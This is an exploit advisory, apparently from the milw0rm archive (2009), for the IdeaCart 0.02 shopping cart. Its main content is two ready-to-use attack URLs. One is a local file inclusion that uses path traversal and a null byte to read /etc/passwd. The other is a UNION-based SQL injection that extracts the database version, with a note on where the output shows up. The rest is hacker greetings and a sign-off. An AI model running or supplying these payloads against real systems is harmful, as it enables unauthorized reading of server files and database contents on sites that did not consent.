ideacart 0.02 - Local File Inclusion / SQL Injection

#IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities


#Author: nuclear


#LFI:
http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00


#SQL:
http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23


#notes:
get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ bla bla bla


#greetz Mi4night, cAs, zYzTeM, Digitalfortress, THE_MAN, Pepe, I-O-W-A,
 DiGitalX, sys32-hack, sys32r, Whitestar


#special greets to: Digitalfortress
thnx for keeping me up mate


#to str0ke:
thnx for putting all the vulns up brotha !


#comment:
I'm finally done with this shit..number 13 and there will be no more
I'm outta here.. bye ya'll 

# milw0rm.com [2009-02-13]